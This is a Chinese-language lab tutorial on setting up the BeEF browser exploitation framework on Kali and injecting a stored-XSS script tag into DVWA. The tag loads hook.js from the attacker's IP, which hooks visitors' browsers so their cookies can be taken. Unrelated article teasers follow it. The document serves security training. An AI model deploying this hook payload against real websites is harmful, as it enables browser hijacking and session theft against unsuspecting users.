安装beef：apt install beef-xss
切换到beef目录（kali版本不同，beef配置文件位置不同）：

cd /etc/beef-xss/config.yaml

或者

cd /usr/share/beef-xss/config.yaml

打开配置文件：

vim /etc/beef-xss/config.yaml /
vim /usr/share/beef-xss/config.yaml

修改密码和修改host值，改成kali的IP地址
在这里插入图片描述
启动beef：beef-xss/beef或者beef-xss
打开浏览器访问：http://192.168.128.128:3000/ui/panel
或者
http://192.168.128.128:3000/ui/authentication
在这里插入图片描述
让目标主机访问存在生成的钩子代码
在这里插入图片描述

<html>
<body>
123456
<script src="http://192.168.183.133:3000/hook.js"></script>
</body>
</html>

在DVWA中DVWA Security中把等级该为"low"然后选择XSS（Stroed）存储型XSS，上传脚本，并把长度改为1000，因为原来长度为50，写不下
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
获取控制权限
绿色模块：表示模块适用当前用户，并且执行结果对用户不可见
红色模块：表示模块不适用当前用户，有些红色模块也可以执行
橙色模块：模块可用，但结果对用户可见
灰色模块：模块为在目标浏览器上测试过
在这里插入图片描述
获取cookie
在这里插入图片描述
选择模块，进行攻击
可以选择"Brower"下面的"Hooked
Domain"的"create Alert Dialog(弹窗)"，点击右下角的"execute"运行
在这里插入图片描述
在这里插入图片描述

# 其他
Logo
天工造物局

北京人形旗下天工造物具身智能开源社区，聚焦具身天工与慧思开物两大平台

更多推荐

deck.gl TripsLayer 出租车轨迹动画示例实战：从示例运行到着色器原理

TripsLayer 是 deck.gl 中用于渲染**随时间流动的轨迹动画**（如出租车行程、物流路径、迁徙路线）的核心图层。本文以仓库中的最小独立示例 [examples/website/trips](https://link.gitcode.com/i/1442af8f442f4cff39ff546e050fceb5) 为骨架，带你完成从安装依赖、启动应用、理解曼哈顿出租车数据格式，到深入

avatar 天工造物局

Foundry Anvil 中 eth_simulateV1 的 Blob 交易与 Blob Gas 字段规范化：原理、实现与测试验证

本篇技术指南以 [anvil-simulate-blob-transactions.md](https://link.gitcode.com/i/3d2ebe227262de169335eb290af80da8) 这条 changelog 条目为起点，深入剖析 Foundry Anvil 对 `eth_simulateV1` RPC 返回结果中 blob（EIP-4844）交易与 blob gas

avatar 天工造物局

LMCache CLI 实战：用 `lmcache kvcache clear` 管理运行中服务的 KV Cache 状态

本文是一份针对 LMCache 官方 CLI 命令 `lmcache kvcache` 的完整技术指南。该命令用于在**运行中的 LMCache 服务（MP HTTP server）**上管理 KV cache 状态，当前提供 `clear` 子命令，用于清空 L1（CPU 内存）层中缓存的全部 KV 数据。读完本文，你将掌握该命令的完整参数体系、退出码语义、终端/JSON/静默三种输出模式，并能

avatar 天工造物局